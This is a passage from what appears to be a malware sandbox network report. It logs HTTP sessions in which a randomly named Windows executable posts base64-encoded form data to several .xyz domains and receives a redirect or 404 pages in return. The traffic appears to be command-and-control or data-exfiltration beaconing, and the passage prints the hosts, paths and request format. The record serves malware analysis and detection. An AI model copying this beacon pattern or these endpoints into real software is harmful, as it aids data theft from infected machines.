49 30 51 2f 46 30 34 71 4f 31 59 32 4f 4c 69 71 72 63 56 61 79 44 33 4d 6b 62 33 68 4b 45 36 4d 47 51 68 54 45 54 70 6f 4c 55 6f 39 65 39 49 6f 4a 49 46 71 53 45 6b 66 56 4c 48 39 50 4f 76 72 71 6b 49 4e 4e 38 4f 73 44 4b 46 78 58 61 6e 42 46 59 68 48 35 33 5a 57 33 4a 4b 35 70 66 49 64 62 70 41 50 69 37 58 79 6f 48 43 4a 41 3d 3d Data Ascii: gP=dsPBWRzHGXhtDiSPgCvCpk5PAUWlZXNT8xCaKx3v7lDEwReAhx6+AYKk7XvztB2hFIuUf4Io6PmaDpZIlIq4UI0Q/F04qO1Y2OLiqrcVayD3Mkb3hKE6MGQhTETpoLUo9e9IoJIFqSEkfVLH9POvrqkINN8OsDKFxXanBFYhH53ZW3JK5pfIdbpAPi7XyoHCJA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	50015	15.197.204.56	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:12.592758894 CEST	759	OUT	POST /8o1o/ HTTP/1.1 Host: www.broomeorchard.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.broomeorchard.xyz Referer: http://www.broomeorchard.xyz/8o1o/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 64 73 50 42 57 52 7a 48 47 58 68 74 42 42 61 50 69 68 48 43 68 6b 35 49 64 6b 57 6c 53 33 4e 50 38 78 2b 61 4b 77 43 79 37 57 33 45 78 30 69 41 6d 30 4f 2b 44 59 4b 6b 7a 33 75 34 6a 68 32 2b 46 49 69 36 66 39 77 6f 36 50 79 61 44 6f 4a 49 6b 37 43 37 57 59 30 57 35 46 30 2b 75 4f 31 59 32 4f 4c 69 71 76 39 43 61 79 4c 33 4d 77 6e 33 68 76 6b 39 42 6d 51 2b 51 45 54 70 73 4c 55 73 39 65 39 36 6f 4e 4a 6f 71 58 41 6b 66 56 37 48 7a 2b 4f 73 79 61 6b 43 44 74 39 41 73 51 33 5a 77 48 61 6e 4a 45 38 31 45 59 32 2b 58 78 59 51 70 4b 57 66 65 49 68 43 62 45 61 6e 37 5a 69 4c 53 41 42 55 72 37 64 62 51 50 63 2b 6e 4e 48 78 69 53 5a 45 79 78 49 3d Data Ascii: gP=dsPBWRzHGXhtBBaPihHChk5IdkWlS3NP8x+aKwCy7W3Ex0iAm0O+DYKkz3u4jh2+FIi6f9wo6PyaDoJIk7C7WY0W5F0+uO1Y2OLiqv9CayL3Mwn3hvk9BmQ+QETpsLUs9e96oNJoqXAkfV7Hz+OsyakCDt9AsQ3ZwHanJE81EY2+XxYQpKWfeIhCbEan7ZiLSABUr7dbQPc+nNHxiSZEyxI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	50016	15.197.204.56	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:15.131545067 CEST	1772	OUT	POST /8o1o/ HTTP/1.1 Host: www.broomeorchard.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.broomeorchard.xyz Referer: http://www.broomeorchard.xyz/8o1o/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 64 73 50 42 57 52 7a 48 47 58 68 74 42 42 61 50 69 68 48 43 68 6b 35 49 64 6b 57 6c 53 33 4e 50 38 78 2b 61 4b 77 43 79 37 57 76 45 77 47 61 41 6d 54 53 2b 43 59 4b 6b 35 58 75 37 6a 68 32 33 46 49 36 2b 66 39 30 65 36 4a 32 61 41 50 4a 49 78 36 43 37 63 59 30 57 30 6c 30 2f 71 4f 30 46 32 50 37 63 71 72 5a 43 61 79 4c 33 4d 78 33 33 31 71 45 39 44 6d 51 68 54 45 54 75 6f 4c 56 37 39 65 46 51 6f 4e 4d 56 71 44 30 6b 52 56 72 48 78 49 61 73 37 61 6b 45 45 74 38 64 73 51 37 77 77 48 48 63 4a 45 49 54 45 59 4f 2b 55 30 74 78 75 71 53 57 66 62 56 64 62 48 43 41 77 36 61 58 56 54 31 72 36 4c 78 75 47 2f 59 30 72 34 4f 4e 2b 6a 56 52 6b 6c 50 6d 62 63 48 6f 38 57 36 73 44 67 41 77 2f 6f 6e 35 63 39 4d 63 67 36 31 53 74 55 56 39 59 6f 39 46 68 63 74 43 6f 63 79 68 38 2b 78 36 48 38 30 54 42 50 35 31 49 6c 2b 61 4f 71 6d 68 7a 52 76 4b 77 52 43 35 6d 33 4e 54 50 6e 78 37 72 44 4d 32 73 75 79 59 54 6a 79 6b 4c 52 44 6b 50 75 34 31 4e 6b 4b 53 6b 35 4e 30 74 56 47 4a 63 52 30 72 68 61 61 59 63 31 4a [TRUNCATED] Data Ascii: gP=dsPBWRzHGXhtBBaPihHChk5IdkWlS3NP8x+aKwCy7WvEwGaAmTS+CYKk5Xu7jh23FI6+f90e6J2aAPJIx6C7cY0W0l0/qO0F2P7cqrZCayL3Mx331qE9DmQhTETuoLV79eFQoNMVqD0kRVrHxIas7akEEt8dsQ7wwHHcJEITEYO+U0txuqSWfbVdbHCAw6aXVT1r6LxuG/Y0r4ON+jVRklPmbcHo8W6sDgAw/on5c9Mcg61StUV9Yo9FhctCocyh8+x6H80TBP51Il+aOqmhzRvKwRC5m3NTPnx7rDM2suyYTjykLRDkPu41NkKSk5N0tVGJcR0rhaaYc1Jxykn34hRHY6o/aeGQ4V1gvVf45CgiIqcKvKMW9r55E1n1fLYVIzT2GrcvGVUNcB2bq3k2Gx8CvOrON2tZQkMIqGqdyCGA2Rv+euW/1SZdj9APcBn3CoZAbnwXk3Qm9YABAejEdJVBsjy0QSiawkWn8DONYLMBKqxoF2CqYzGL5ombXH+H+nkAgJGyUjhSasyc6M0gDzxTnCj7knccpL0GA+JwgLBx6ZKVWncbeMCoTn2stbSCcRF3OkpMx/KF+6g/XrZ3W+IkZakUBfjfprLh22WQnl7+QlMnqUREDYZoDTr8t02uYVJOXJWnXopa3zY/HX9LdmSC4vyW6uQsMXt+TC5ZuRW/sQ4VNtJwjsbcnn1EX4MAlzk77i1v/DTF/zAtJquuhwXKPwulLvelDUTen7lm8u/qPmR0qHB+IQ8t1o2pMM7fe1k9ppUtn//f0ShxVqKIVOnNvAAQschThf5oA7vELYrTsv7YcDHCEvMeMBCreRKPgp90FhLkpTyHz5gIU9EHlCtHm+Q0EQ//J0LDTpNeP18I8wCFFQUBxQAZgzBGsvu7p0PA3b39N+Qk/MXinIZSogYA/xBq8FDivbeAhBZMDbu9J8xfK6BwTrl90ZnAvTTHuc028ExhJoBO9EW6aZa+ThT5vZ5zT9S0Q1GLKITd+/fq4udmg [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	50017	15.197.204.56	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:17.676268101 CEST	465	OUT	GET /8o1o/?-L=kBMxZFRpAD6P&gP=QunhVm6kZFQCJjGkuC7lsmN7UDLhVH5unS34CwGNyhG42F+U2Qq2Bbej6HS9mh+MEeKFfLAj85iyVJ5CsJDjT9kB1XQFiuYG2+iOt7QfZQyJLxqfhY4aAGU= HTTP/1.1 Host: www.broomeorchard.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:57:18.136419058 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:57:18 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 4c 3d 6b 42 4d 78 5a 46 52 70 41 44 36 50 26 67 50 3d 51 75 6e 68 56 6d 36 6b 5a 46 51 43 4a 6a 47 6b 75 43 37 6c 73 6d 4e 37 55 44 4c 68 56 48 35 75 6e 53 33 34 43 77 47 4e 79 68 47 34 32 46 2b 55 32 51 71 32 42 62 65 6a 36 48 53 39 6d 68 2b 4d 45 65 4b 46 66 4c 41 6a 38 35 69 79 56 4a 35 43 73 4a 44 6a 54 39 6b 42 31 58 51 46 69 75 59 47 32 2b 69 4f 74 37 51 66 5a 51 79 4a 4c 78 71 66 68 59 34 61 41 47 55 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-L=kBMxZFRpAD6P&gP=QunhVm6kZFQCJjGkuC7lsmN7UDLhVH5unS34CwGNyhG42F+U2Qq2Bbej6HS9mh+MEeKFfLAj85iyVJ5CsJDjT9kB1XQFiuYG2+iOt7QfZQyJLxqfhY4aAGU="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	50018	198.252.106.191	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:23.207777023 CEST	733	OUT	POST /4est/ HTTP/1.1 Host: www.suarahati20.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.suarahati20.xyz Referer: http://www.suarahati20.xyz/4est/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 33 52 4b 49 4e 38 72 75 4b 58 69 59 52 65 44 38 59 31 44 58 33 63 41 4e 48 6a 51 77 76 44 73 58 58 77 4f 48 4b 68 50 64 42 36 54 61 51 6b 4b 64 70 67 61 63 32 65 72 7a 44 47 43 53 4a 59 54 4a 59 4e 4e 31 6c 4b 31 63 45 6c 46 53 44 32 78 6f 54 4f 4a 54 6c 71 73 33 45 31 33 39 75 35 64 70 35 65 6c 6f 59 41 58 6b 76 33 6e 63 34 6f 75 4b 45 74 52 36 56 2b 4b 61 72 36 32 31 2f 46 4e 6b 4d 45 79 30 58 69 54 71 79 4e 6a 64 47 31 6a 64 70 65 4b 39 72 6f 6c 73 47 4b 32 62 67 37 65 59 6a 74 79 75 64 4d 4b 5a 34 53 36 42 38 55 74 4b 58 69 4f 65 32 6f 30 63 53 55 51 4f 37 50 52 54 7a 77 3d 3d Data Ascii: gP=3RKIN8ruKXiYReD8Y1DX3cANHjQwvDsXXwOHKhPdB6TaQkKdpgac2erzDGCSJYTJYNN1lK1cElFSD2xoTOJTlqs3E139u5dp5eloYAXkv3nc4ouKEtR6V+Kar621/FNkMEy0XiTqyNjdG1jdpeK9rolsGK2bg7eYjtyudMKZ4S6B8UtKXiOe2o0cSUQO7PRTzw==
Oct 8, 2024 15:57:23.791959047 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 13:57:23 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	50019	198.252.106.191	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:25.764981031 CEST	753	OUT	POST /4est/ HTTP/1.1 Host: www.suarahati20.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.suarahati20.xyz Referer: http://www.suarahati20.xyz/4est/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 33 52 4b 49 4e 38 72 75 4b 58 69 59 51 2b 54 38 61 57 37 58 31 38 41 4d 62 7a 51 77 6d 6a 73 4c 58 77 43 48 4b 67 62 4e 42 49 6e 61 51 46 36 64 6f 68 61 63 7a 65 72 7a 62 57 43 58 52 34 54 65 59 4e 78 39 6c 4c 6c 63 45 6c 52 53 44 33 74 6f 54 39 68 51 6c 36 73 31 4d 56 33 37 78 4a 64 70 35 65 6c 6f 59 41 44 4f 76 33 76 63 34 59 65 4b 46 4d 52 39 4a 4f 4b 5a 37 71 32 31 37 46 4e 67 4d 45 79 61 58 6d 4c 51 79 4f 62 64 47 77 50 64 6f 50 4c 72 68 6f 6c 71 4a 71 33 36 72 4f 7a 4a 6e 66 2f 35 54 71 53 7a 7a 69 32 6d 30 79 38 51 48 42 48 4a 31 37 38 65 47 79 78 2b 79 2b 30 61 6f 35 6b 66 7a 5a 62 51 33 52 6b 35 64 66 61 46 51 7a 55 6a 48 77 6b 3d Data Ascii: gP=3RKIN8ruKXiYQ+T8aW7X18AMbzQwmjsLXwCHKgbNBInaQF6dohaczerzbWCXR4TeYNx9lLlcElRSD3toT9hQl6s1MV37xJdp5eloYADOv3vc4YeKFMR9JOKZ7q217FNgMEyaXmLQyObdGwPdoPLrholqJq36rOzJnf/5TqSzzi2m0y8QHBHJ178eGyx+y+0ao5kfzZbQ3Rk5dfaFQzUjHwk=
Oct 8, 2024 15:57:26.354571104 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 13:57:26 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50020	198.252.106.191	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:28.322824001 CEST	1766	OUT	POST /4est/ HTTP/1.1 Host: www.suarahati20.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.suarahati20.xyz Referer: http://www.suarahati20.xyz/4est/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 33 52 4b 49 4e 38 72 75 4b 58 69 59 51 2b 54 38 61 57 37 58 31 38 41 4d 62 7a 51 77 6d 6a 73 4c 58 77 43 48 4b 67 62 4e 42 49 66 61 54 33 79 64 70 43 79 63 30 65 72 7a 53 32 43 57 52 34 54 66 59 4e 70 35 6c 4f 38 70 45 6e 70 53 44 56 4a 6f 56 4d 68 51 38 4b 73 31 4f 56 33 2b 75 35 64 38 35 65 31 6b 59 41 54 4f 76 33 76 63 34 61 32 4b 4d 39 52 39 61 65 4b 61 72 36 32 35 2f 46 4e 59 4d 46 61 73 58 6d 66 36 78 2b 37 64 47 55 76 64 76 39 6a 72 70 6f 6c 6f 64 4b 33 59 72 4f 32 52 6e 66 6a 31 54 71 4f 56 7a 68 57 6d 33 58 46 4f 57 42 33 33 32 36 34 59 53 78 35 44 78 65 73 46 6c 59 30 46 6c 4e 71 68 72 42 6c 73 66 50 37 51 42 44 4e 6e 61 77 6e 6a 57 77 4b 4c 71 7a 61 79 45 70 35 52 63 6c 42 41 47 74 4a 41 44 2b 75 4f 72 77 50 72 68 6e 51 53 63 51 53 74 75 75 37 32 4b 78 59 55 67 67 4f 4a 35 6b 64 32 58 77 31 6d 38 49 69 70 37 43 77 72 67 4d 37 7a 4a 49 68 7a 69 63 61 36 53 35 55 6d 67 52 41 66 4c 61 70 6a 72 6a 4d 45 62 53 5a 64 7a 50 72 45 54 48 4e 39 42 4b 61 53 69 32 56 50 42 4f 4e 54 4a 69 78 [TRUNCATED] Data Ascii: gP=3RKIN8ruKXiYQ+T8aW7X18AMbzQwmjsLXwCHKgbNBIfaT3ydpCyc0erzS2CWR4TfYNp5lO8pEnpSDVJoVMhQ8Ks1OV3+u5d85e1kYATOv3vc4a2KM9R9aeKar625/FNYMFasXmf6x+7dGUvdv9jrpolodK3YrO2Rnfj1TqOVzhWm3XFOWB33264YSx5DxesFlY0FlNqhrBlsfP7QBDNnawnjWwKLqzayEp5RclBAGtJAD+uOrwPrhnQScQStuu72KxYUggOJ5kd2Xw1m8Iip7CwrgM7zJIhzica6S5UmgRAfLapjrjMEbSZdzPrETHN9BKaSi2VPBONTJixc8cnVnCsZoLbN3SeQ81AfSYlK9MUFDzfaGAjfI7tsYfWz1HJP+9SlZ2errIxkjHOWAwJ83IpgPAY1To0ZszWRrIW940FukBtbsj9Q9ykQGoG0fsrI3W+yiEC6PgOFWB9NYt8iZ2MnrXQmdP326ahJSF8NnMyUMLV9JyXY+RtADGBbhSi0hCX+qZYo2p8xflBp05sAniBgU8WdxdCIjJRV4Vcx9htsaS8XUOOqofahsUi7RV/EpKcQFyb2smchjiWEzUyLtqPpYstsBKoFJX8x1r26hU4Q3OH5PwH0cEkvvdFIQ/NtnwxAjnmsKwYRgVLkODk6v8LU9iU5S48xVRE4XI1M9yxr4wI4lRtdXhvE6380yXNTGGUhZwAuD1TUF9MuROP3mzY2xEmSG7gq+iNfgdiJbr0BaFs+WjQPG4nOOaGURX/L8OW7SSKXrVtf1od2cMzyRfhVT6UG8G7tWXnX50t+w4gJNbTi7vzUdschWfNg4c66QJJ3jB9bb1Ef+8SkOWJVAaqb5cBabovft7L5sjei3D0uyf8PYTf6Ebs87WBELa/kJcoV0+7xXs2ej7ggZftnq8c9UhPBun5WJ9NpA+vQWyCovtD4oHUnME2WabbyaE3i/pnsaRZqj4tMXMy5uyryX2ha7Auis2wdbEUWpvgZhlWjzmLWf [TRUNCATED]
Oct 8, 2024 15:57:28.948509932 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 13:57:28 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	50021	198.252.106.191	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:30.863439083 CEST	463	OUT	GET /4est/?gP=6TioOITzTznuWaHCUWnl//RNTiJIkSIqdx+6cQbbG9CbTHyFxDml283eSUfpT4rPWLRehJ5KDSFFDUFbTukXlY89F3XW39p23v05UDH3lWqOp67DGsRlWdM=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.suarahati20.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:57:31.436985970 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 13:57:31 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 